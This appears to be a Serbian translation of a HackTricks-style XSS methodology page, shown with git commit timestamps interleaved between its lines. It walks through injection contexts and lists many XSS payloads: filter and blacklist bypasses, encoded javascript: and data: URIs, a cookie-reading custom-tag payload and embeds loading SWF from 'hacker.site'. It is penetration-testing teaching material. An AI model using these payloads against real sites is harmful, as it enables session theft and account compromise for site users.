2022-04-28 23:27:22 +00:00
# XSS (Cross Site Scripting)
2022-04-28 16:01:33 +00:00
2024-03-17 16:33:13 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-30 20:31:18 +00:00
2024-02-23 16:45:30 +00:00
Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako u pismenom, tako i u govornom obliku_).
2022-04-30 20:31:18 +00:00
2024-02-18 14:58:46 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
## Metodologija
2024-02-23 16:45:30 +00:00
1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parametri_, _putanja_ , _zaglavlja_ ?, _kolačići_ ?) reflektuje u HTML-u ili se **koristi** od strane **JS** koda.
2024-03-17 16:33:13 +00:00
2. **Pronađite kontekst** gde se ta vrednost reflektuje/koristi.
2024-02-10 13:11:20 +00:00
3. Ako je **reflektovano**
2024-02-18 14:58:46 +00:00
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload:
1. U **čistom HTML-u** :
2024-02-10 13:11:20 +00:00
1. Možete li kreirati nove HTML oznake?
2. Možete li koristiti događaje ili atribute koji podržavaju `javascript:` protokol?
3. Možete li zaobići zaštitu?
2024-03-17 16:33:13 +00:00
4. Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS motora (_AngularJS_, _VueJS_ , _Mavo_ ...), možete zloupotrebiti [**Umetanje klijentskih šablona na strani klijenta** ](../client-side-template-injection-csti.md ).
5. Ako ne možete kreirati HTML oznake koje izvršavaju JS kod, možete li zloupotrebiti [**Dangling Markup - HTML bezskriptno umetanje** ](../dangling-markup-html-scriptless-injection/ )?
2024-02-10 13:11:20 +00:00
2. Unutar **HTML oznake** :
2024-02-18 14:58:46 +00:00
1. Možete li izaći u čisti HTML kontekst?
2. Možete li kreirati nove događaje/ atribute da izvršite JS kod?
3. Da li atribut u kojem ste zarobljeni podržava izvršenje JS koda?
2024-02-10 13:11:20 +00:00
4. Možete li zaobići zaštitu?
3. Unutar **JavaScript koda** :
1. Možete li izbeći `<script>` oznaku?
2024-02-23 16:45:30 +00:00
2. Možete li izbeći string i izvršiti drugačiji JS kod?
2024-02-18 14:58:46 +00:00
3. Da li su vaši unosi u šablonima literala \`\`?
2024-02-10 13:11:20 +00:00
4. Možete li zaobići zaštitu?
2024-02-18 14:58:46 +00:00
4. JavaScript **funkcija** koja se **izvršava**
1. Možete naznačiti ime funkcije za izvršenje. npr.: `?callback=alert(1)`
4. Ako je **korišćeno** :
1. Možete iskoristiti **DOM XSS** , obratite pažnju kako se kontroliše vaš unos i da li vaš **kontrolisani unos koristi neki otok.**
2024-02-10 13:11:20 +00:00
2024-02-18 14:58:46 +00:00
Kada radite na složenom XSS-u, možda će vam biti zanimljivo znati o:
2022-04-25 12:04:04 +00:00
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md ](debugging-client-side-js.md )
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
## Reflektovane vrednosti
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Da biste uspešno iskoristili XSS, prva stvar koju treba pronaći je **vrednost kojom upravljate, a koja se reflektuje** na web stranici.
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
* **Srednje reflektovano**: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti **Reflektovani XSS** .
* **Skladišteno i reflektovano**: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti **Skladišteni XSS** .
* **Pristupano putem JS**: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti **DOM XSS** .
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
## Konteksti
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Kada pokušavate iskoristiti XSS, prva stvar koju treba znati je **gde se vaš unos reflektuje** . Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### Čisti HTML
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Ako se vaš unos **reflektuje na čistom HTML-u** stranice, moraćete zloupotrebiti neku **HTML oznaku** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neke od mnogih mogućih HTML oznaka koje možete koristiti.\
2024-03-17 16:33:13 +00:00
Takođe, imajte na umu [Umetanje klijentskih šablona na strani klijenta ](../client-side-template-injection-csti.md ).
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### Unutar atributa HTML oznaka
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
1. Da **izađete iz atributa i iz oznake** (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: `"><img [...]`
2. Ako **možete izaći iz atributa ali ne i iz oznake** (`>` je enkodiran ili obrisan), zavisno od oznake možete **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
2024-03-17 16:33:13 +00:00
3. Ako **ne možete izaći iz atributa** (`"` je enkodiran ili obrisan), onda zavisno od **kog atributa** se vaša vrednost reflektuje **da li kontrolišete celu vrednost ili samo deo** moći ćete je zloupotrebiti. Na **primer** , ako kontrolišete događaj poput `onclick=` , moći ćete da naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href` , gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: ** `href="javascript:alert(1)"` **
4. Ako se vaš unos reflektuje unutar "**neiskorišćenih oznaka**" možete pokušati trik sa ** `accesskey` ** da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo): ** `" accesskey="x" onclick="alert(1)" x="` **
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Čudan primer Angulara koji izvršava XSS ako kontrolišete ime klase:
```html
< div ng-app >
< strong class = "ng-init:constructor.constructor('alert(1)')()" > aaa< / strong >
< / div >
```
2024-02-10 13:11:20 +00:00
### Unutar JavaScript koda
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
U ovom slučaju, vaš unos se reflektuje između ** `<script> [...] </script>` ** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa korišćenjem ** `javascript:` ** protokola:
2023-02-07 10:56:16 +00:00
2024-03-17 16:33:13 +00:00
* Ako je reflektovan između ** `<script> [...] </script>` ** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati ubaciti `</script>` i izbeći ovaj kontekst. Ovo funkcioniše jer će **pregledač prvo parsirati HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaš ubačeni `</script>` tag unutar HTML koda.
* Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete **izaći** iz stringa, **izvršiti** svoj kod i **rekonstruisati** JS kod (ako postoji greška, neće biti izvršena):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Ako je reflektovan unutar šablonskih literala, možete **ugraditi JS izraze** koristeći sintaksu `${ ... }` : `` var pozdravi = `Zdravo, ${alert(1)}` ``
* **Unicode enkodiranje** funkcioniše za pisanje **validnog JavaScript koda** :
2023-02-07 10:56:16 +00:00
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
2024-02-23 16:45:30 +00:00
#### Podizanje JavaScript-a
2022-06-24 08:34:11 +00:00
2024-02-23 16:45:30 +00:00
Podizanje JavaScript-a se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.** \
2024-02-10 13:11:20 +00:00
**Proverite sledeću stranicu za više informacija:**
2022-06-24 08:34:11 +00:00
2023-12-25 17:29:41 +00:00
{% content-ref url="js-hoisting.md" %}
[js-hoisting.md ](js-hoisting.md )
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
### JavaScript Funkcija
2022-06-23 12:12:25 +00:00
2024-03-17 16:33:13 +00:00
Na nekoliko web stranica postoje endpointovi koji **prihvataju kao parametar ime funkcije za izvršavanje** . Čest primer koji se može videti je nešto poput: `?callback=callbackFunc` .
2022-06-23 12:12:25 +00:00
2024-03-17 16:33:13 +00:00
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Vulnerable') i traženje grešaka u konzoli kao:
2022-06-23 12:12:25 +00:00
2022-06-27 08:48:17 +00:00
![](< .. / . . / . gitbook / assets / image ( 651 ) ( 2 ) . png > )
2022-06-23 12:12:25 +00:00
2024-03-17 16:33:13 +00:00
U slučaju da je ranjivo, možete **pokrenuti upozorenje** samo slanjem vrednosti: ** `?callback=alert(1)` **. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da dozvole samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
2022-06-23 12:12:25 +00:00
2024-03-17 16:33:13 +00:00
Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u** :
2022-06-23 12:12:25 +00:00
![](< .. / . . / . gitbook / assets / image ( 662 ) . png > )
2024-02-23 16:45:30 +00:00
Neke korisne funkcije za ovo:
2022-06-23 12:12:25 +00:00
```
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
```
2024-02-23 16:45:30 +00:00
Možete takođe pokušati da **pokrenete JavaScript funkcije** direktno: `obj.sales.delOrders` .
2022-06-23 12:12:25 +00:00
2024-03-17 16:33:13 +00:00
Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo interesantnog DOM-a, **druge stranice na istom izvoru** će imati **interesantniji DOM** za obavljanje više akcija.
2022-06-23 12:12:25 +00:00
2024-03-17 16:33:13 +00:00
Stoga, kako bi se **zloupotrebila ova ranjivost u drugom DOM-u** , razvijena je eksploatacija **Same Origin Method Execution (SOME)** :
2022-06-23 12:12:25 +00:00
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md ](some-same-origin-method-execution.md )
{% endcontent-ref %}
2022-05-01 16:57:45 +00:00
### DOM
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href` . Napadač bi mogao zloupotrebiti ovo da izvrši proizvoljan JS kod.
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="dom-xss.md" %}
[dom-xss.md ](dom-xss.md )
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
2024-02-18 14:58:46 +00:00
### **Universal XSS**
2021-05-27 11:59:23 +00:00
2024-03-17 16:33:13 +00:00
Ovakav XSS može se pronaći **bilo gde** . Ne zavise samo od eksploatacije klijenta veb aplikacije već od **bilo kog** **konteksta** . Ovakva vrsta **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljena da se dobije **RCE** , **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i više.\
2024-02-10 13:11:20 +00:00
Neki **primeri** :
2021-05-27 11:59:23 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md ](server-side-xss-dynamic-pdf.md )
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
2023-10-27 16:04:24 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %}
[electron-desktop-apps ](../../network-services-pentesting/pentesting-web/electron-desktop-apps/ )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
2024-02-18 14:58:46 +00:00
## WAF zaobilaženje kodiranja slike
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
![sa https://twitter.com/hackerscrolls/status/1273254212546281473?s=21 ](../../.gitbook/assets/eaubb2ex0aerank.jpg )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
## Ubacivanje unutar sirovog HTML-a
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Kada se vaš unos reflektuje **unutar HTML stranice** ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` da biste kreirali nove oznake: Jednostavno pokušajte da **reflektujete** taj **karakter** i proverite da li je **HTML enkodiran** ili **obrisan** ili ako je **reflektovan bez promena** . **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj** .\
2024-02-23 16:45:30 +00:00
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection** ](../client-side-template-injection-csti.md )**.**\
2024-03-17 16:33:13 +00:00
_**Napomena: HTML komentar može biti zatvoren koristeći**** ** **`-->`**** ** **ili**** ** **`--!>`**_
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
U ovom slučaju, ako se ne koristi crna/bela lista, možete koristiti payload-e poput:
2024-02-06 03:10:27 +00:00
```html
2020-07-15 15:43:14 +00:00
< script > alert ( 1 ) < / script >
< img src = x onerror = alert(1) / >
< svg onload = alert('XSS') >
```
2024-02-23 16:45:30 +00:00
Međutim, ako se koristi crna/bela lista oznaka/atributa, moraćete **bruteforce-ovati koje oznake** možete kreirati.\
Kada ste **pronašli koje su oznake dozvoljene** , moraćete **bruteforce-ovati atribute/događaje** unutar pronađenih validnih oznaka da biste videli kako možete napasti kontekst.
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
### Bruteforce oznaka/događaja
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet** ](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ) i kliknite na _**Kopiraj oznake u međuspremnik**_ . Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li su neke oznake otkrivene kao zlonamerne od strane WAF-a. Kada otkrijete koje oznake možete koristiti, možete **bruteforce-ovati sve događaje** koristeći validne oznake (na istoj veb stranici kliknite na _**Kopiraj događaje u međuspremnik**_ i pratite isti postupak kao pre).
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
### Prilagođene oznake
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus` . U XSS zahtevu, morate završiti URL sa `#` da biste stranici omogućili **fokusiranje na taj objekat** i **izvršili** kod:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/?search=< xss + id % 3dx + onfocus % 3dalert ( document . cookie ) + tabindex % 3d1 > #x
```
2024-03-17 16:33:13 +00:00
### Bypass-ovi crne liste
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim smešnim trikovima:
2020-07-15 15:43:14 +00:00
```javascript
//Random capitalization
< script > - - > < S c r I p T >
< img -- > < ImG
2021-06-02 22:22:26 +00:00
2020-07-15 15:43:14 +00:00
//Double tag, in case just the first match is removed
< script > < s c r i p t >
2021-06-02 22:22:26 +00:00
< scr < script > ipt>
2020-07-15 15:43:14 +00:00
< SCRscriptIPT > alert(1)< / SCRscriptIPT >
2021-06-02 22:22:26 +00:00
2020-07-15 15:43:14 +00:00
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
2021-06-02 22:22:26 +00:00
2020-07-15 15:43:14 +00:00
//Unexpected parent tags
< svg > < x > < script > a l e r t ( ' 1 ' & # 4 1 < / x >
2021-06-02 22:22:26 +00:00
2020-07-15 15:43:14 +00:00
//Unexpected weird attributes
< script x >
< script a = "1234" >
< script ~ ~ ~ >
2021-06-02 22:22:26 +00:00
< script / random > alert ( 1 ) < / script >
< script / / / Note the newline
>alert(1)< / script >
< scr \x00ipt > alert(1)</ scr \x00ipt >
2020-07-15 15:43:14 +00:00
//Not closing tag, ending with " < " or " //"
< iframe SRC = "javascript:alert('XSS');" <
< iframe SRC = "javascript:alert('XSS');" / /
2021-06-02 22:22:26 +00:00
2020-07-15 15:43:14 +00:00
//Extra open
< < script > alert ( "XSS" ) ; / / < < / script >
2021-06-02 22:22:26 +00:00
2020-07-15 15:43:14 +00:00
//Just weird an unexpected, use your imagination
< < /script/script>< script >
< input type = image src onerror = "prompt(1)" >
2021-06-02 22:22:26 +00:00
2020-07-15 15:43:14 +00:00
//Using `` instead of parenthesis
2021-06-02 22:22:26 +00:00
onerror=alert`1`
2020-07-15 15:43:14 +00:00
//Use more than one
< < TexTArEa / * % 00 / / % 00 * / a = "not" / * % 00 / / / AutOFocUs / / / / onFoCUS = alert`1` / /
```
2024-02-10 13:11:20 +00:00
### Bypass dužine (mali XSS-ovi)
2020-07-15 15:43:14 +00:00
2022-02-18 15:49:34 +00:00
{% hint style="info" %}
2024-02-23 16:45:30 +00:00
**Više malih XSS-ova za različite okoline** payload [**može se pronaći ovde** ](https://github.com/terjanq/Tiny-XSS-Payloads ) i [**ovde** ](https://tinyxss.terjanq.me ).
2022-02-18 15:49:34 +00:00
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
2020-07-15 15:43:14 +00:00
< svg / onload = alert`` >
< script src = //aa.es >
< script src = //℡㏛.pw >
```
2024-02-10 13:11:20 +00:00
Poslednji način je korišćenje 2 Unicode karaktera koji se proširuju na 5: telsr\
Više ovakvih karaktera možete pronaći [ovde ](https://www.unicode.org/charts/normalization/ ).\
2024-03-17 16:33:13 +00:00
Da biste proverili koje karaktere su dekomponovane, proverite [ovde ](https://www.compart.com/en/unicode/U+2121 ).
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### Klikni XSS - Clickjacking
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Ako za iskorišćavanje ranjivosti treba **korisnik da klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**zloupotrebite Clickjacking** ](../clickjacking.md#xss-clickjacking ) (ako je stranica ranjiva).
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Nemoguće - Dangling Markup
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Ako smatrate da **je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda** , trebalo bi da proverite [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/ ) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
## Ubacivanje unutar HTML taga
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Unutar taga/izlazak iz vrednosti atributa
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Ako ste **unutar HTML taga** , prva stvar koju možete pokušati je da **izađete** iz taga i koristite neke od tehnika navedenih u [prethodnom odeljku ](./#injecting-inside-raw-html ) za izvršavanje JS koda.\
2024-02-23 16:45:30 +00:00
Ako **ne možete izaći iz taga** , možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload kao (_napomena da u ovom primeru su dvostruki navodnici korišćeni za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga_):
2022-03-21 17:05:35 +00:00
```bash
2020-07-15 15:43:14 +00:00
" autofocus onfocus=alert(document.domain) x="
2022-03-21 17:05:35 +00:00
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
2020-07-15 15:43:14 +00:00
```
2024-03-17 16:33:13 +00:00
**Stil događaji**
2021-02-25 11:06:26 +00:00
```python
< p style = "animation: x;" onanimationstart = "alert()" > XSS< / p >
< p style = "animation: x;" onanimationend = "alert()" > XSS< / p >
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
< div style = "position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick = "alert(1)" > < / div >
#moving your mouse anywhere over the page (0-click-ish):
< div style = "position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover = "alert(1)" > < / div >
```
2024-02-10 13:11:20 +00:00
### Unutar atributa
2021-02-25 11:06:26 +00:00
2024-03-17 16:33:13 +00:00
Čak i ako **ne možete pobeći iz atributa** (`"` se kodira ili briše), zavisno o **kojem atributu** se vaša vrednost reflektuje, **da li kontrolišete celu vrednost ili samo deo** , moći ćete da je zloupotrebite. Na **primer** , ako kontrolišete događaj poput `onclick=` , moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
2024-02-18 14:58:46 +00:00
Još jedan interesantan **primer** je atribut `href` , gde možete koristiti `javascript:` protokol da izvršite proizvoljan kod: ** `href="javascript:alert(1)"` **
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
**Bypass unutar događaja korišćenjem HTML enkodiranja/URL enkodiranja**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
**HTML enkodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju pri izvršavanju** . Stoga nešto poput sledećeg će biti validno (payload je podebljan): `<a id="author" href="http://none" onclick="var tracker='http://foo?` **`' -alert(1)-' `**`';">Go Back </ a > `
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:30 +00:00
Imajte na umu da je **svaka vrsta HTML enkodiranja validna** :
2020-07-15 15:43:14 +00:00
```javascript
//HTML entities
' -alert(1)-'
//HTML hex without zeros
& #x27-alert(1)-& #x27
//HTML hex with zeros
& #x00027-alert(1)-& #x00027
//HTML dec without zeros
& #39-alert(1)-& #39
//HTML dec with zeros
& #00039-alert(1)-& #00039
2023-03-03 17:26:17 +00:00
< a href = "javascript:var a=''-alert(1)-''" > a< / a >
< a href = "javascript:alert(2)" > a< / a >
< a href = "javascript:alert(3)" > a< / a >
2020-07-15 15:43:14 +00:00
```
2024-02-18 14:58:46 +00:00
**Imajte na umu da će raditi i URL enkodiranje:**
2020-07-15 15:43:14 +00:00
```python
< a href = "https://example.com/lol%22onmouseover=%22prompt(1);%20img.png" > Click< / a >
```
2024-02-18 14:58:46 +00:00
**Bypass unutrašnjeg događaja korišćenjem Unicode enkodiranja**
2020-07-15 15:43:14 +00:00
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
< img src onerror = \u0061 \u006C \u0065 \u0072 \u0074(1) />
< img src onerror = \u{61} \u{6C} \u{65} \u{72} \u{74}(1) />
```
2024-02-10 13:11:20 +00:00
### Posebni protokoli unutar atributa
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Ovde možete koristiti protokole ** `javascript:` ** ili ** `data:` ** na nekim mestima da **izvršite proizvoljan JS kod** . Neke će zahtevati korisničku interakciju, a neke neće.
2021-06-02 22:22:26 +00:00
```javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript: alert(1)
javascript: alert(1)
javascript: alert(1)
& #x6a& #x61& #x76& #x61& #x73& #x63& #x72& #x69& #x70& #x74& #x3aalert(1)
2024-02-10 13:11:20 +00:00
java //Note the new line
2021-06-02 22:22:26 +00:00
script:alert(1)
data:text/html,< script > alert ( 1 ) < / script >
DaTa:text/html,< script > alert ( 1 ) < / script >
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,< script > alert ( 1 ) < / script >
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
2024-02-10 13:11:20 +00:00
**Mesta gde možete ubaciti ove protokole**
2021-06-02 22:22:26 +00:00
2024-03-17 16:33:13 +00:00
**Uopšteno** `javascript:` protokol se može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img` )
2021-07-17 21:10:13 +00:00
```markup
2021-06-02 22:22:26 +00:00
< a href = "javascript:alert(1)" >
< a href = "data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=" >
< form action = "javascript:alert(1)" > < button > send< / button > < / form >
< form id = x > < / form > < button form = "x" formaction = "javascript:alert(1)" > send< / button >
< object data = javascript:alert(3) >
< iframe src = javascript:alert(2) >
< embed src = javascript:alert(1) >
< object data = "data:text/html,<script>alert(5)</script>" >
< embed src = "data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type = "image/svg+xml" AllowScriptAccess = "always" > < / embed >
< embed src = "data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" > < / embed >
< iframe src = "data:text/html,<script>alert(5)</script>" > < / iframe >
//Special cases
2024-02-10 13:11:20 +00:00
< object data = "//hacker.site/xss.swf" > .//https://github.com/evilcos/xss.swf
< embed code = "//hacker.site/xss.swf" allowscriptaccess = always > //https://github.com/evilcos/xss.swf
2021-06-02 22:22:26 +00:00
< iframe srcdoc = "<svg onload=alert(4);>" >
```
2024-02-10 13:11:20 +00:00
**Drugi trikovi za prikrivanje**
2021-06-02 22:22:26 +00:00
2024-03-17 16:33:13 +00:00
_**U ovom slučaju, trik sa enkodiranjem HTML-a i trik sa enkodiranjem Unicode-om iz prethodne sekcije takođe važi jer se nalazite unutar atributa.**_
2021-06-02 22:22:26 +00:00
```javascript
< a href = "javascript:var a=''-alert(1)-''" >
```
2024-03-17 16:33:13 +00:00
Osim toga, postoji još jedan **koristan trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL enkodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako trebate **izbeći** iz **stringa** koristeći **jednostruki navodnik** i primetite da **je URL enkodiran** , zapamtite da **nije važno,** biće **interpretiran** kao **jednostruki navodnik** tokom **izvršavanja** .
2020-07-15 15:43:14 +00:00
```javascript
' -alert(1)-'
%27-alert(1)-%27
< iframe src = javascript:%61%6c%65%72%74%28%31%29 > < / iframe >
```
2024-03-17 16:33:13 +00:00
Napomena da ako pokušate **koristiti i** `URLencode + HTMLencode` u bilo kom redosledu za enkodiranje **payload-a** , to **neće** **raditi** , ali možete **ih mešati unutar payload-a** .
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
**Korišćenje heksadecimalnog i oktalnog enkodiranja sa `javascript:` **
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Možete koristiti **heksadecimalno** i **oktalno enkodiranje** unutar atributa `src` elementa `iframe` (barem) da biste deklarisali **HTML oznake za izvršavanje JS** :
2020-07-15 15:43:14 +00:00
```javascript
//Encoded: < svg onload = alert(1) >
// This WORKS
< iframe src = javascript:' \x3c \x73 \x76 \x67 \x20 \x6f \x6e \x6c \x6f \x61 \x64 \x3d \x61 \x6c \x65 \x72 \x74 \x28 \x31 \x29 \x3e' />
< iframe src = javascript:' \74 \163 \166 \147 \40 \157 \156 \154 \157 \141 \144 \75 \141 \154 \145 \162 \164 \50 \61 \51 \76' />
//Encoded: alert(1)
// This doesn't work
< svg onload = javascript:' \x61 \x6c \x65 \x72 \x74 \x28 \x31 \x29' />
< svg onload = javascript:' \141 \154 \145 \162 \164 \50 \61 \51' />
```
2024-03-17 16:33:13 +00:00
### Obrnuto preusmeravanje kartica
2020-07-15 15:43:14 +00:00
```javascript
2021-06-02 22:22:26 +00:00
< a target = "_blank" rel = "opener"
2020-07-15 15:43:14 +00:00
```
2024-03-17 16:33:13 +00:00
Ako možete ubaciti bilo koji URL u proizvoljnu ** `<a href=` ** oznaku koja sadrži atribute ** `target="_blank" i rel="opener"` **, proverite **sledeću stranicu da biste iskoristili ovu funkcionalnost** :
2021-05-01 15:23:19 +00:00
